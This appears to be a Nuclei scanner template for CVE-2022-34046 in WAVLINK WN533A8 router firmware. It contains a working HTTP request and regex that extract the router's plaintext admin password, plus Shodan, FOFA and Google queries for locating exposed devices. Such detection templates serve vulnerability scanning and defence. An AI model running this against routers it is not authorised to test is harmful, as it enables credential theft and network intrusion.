id: CVE-2022-34046

info:
  name: WAVLINK WN533A8 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
    - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34046
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34046
    cwe-id: CWE-863
    epss-score: 0.20351
    epss-percentile: 0.97225
    cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn533a8_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,packetstorm,wavlink,router,exposure,vuln

http:
  - raw:
      - |
        GET /sysinit.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'
# digest: 4b0a00483046022100d7aa18b5e0ba13cc956cd8131da3e84e76f48a96716c43fb9ba8a347cfce3ea1022100ae3d80d50d41e705f363bdbea86b2076d08c996f0bf379a9cbbdba2db34f8af1:922c64590222798bb761d5b6d8e72950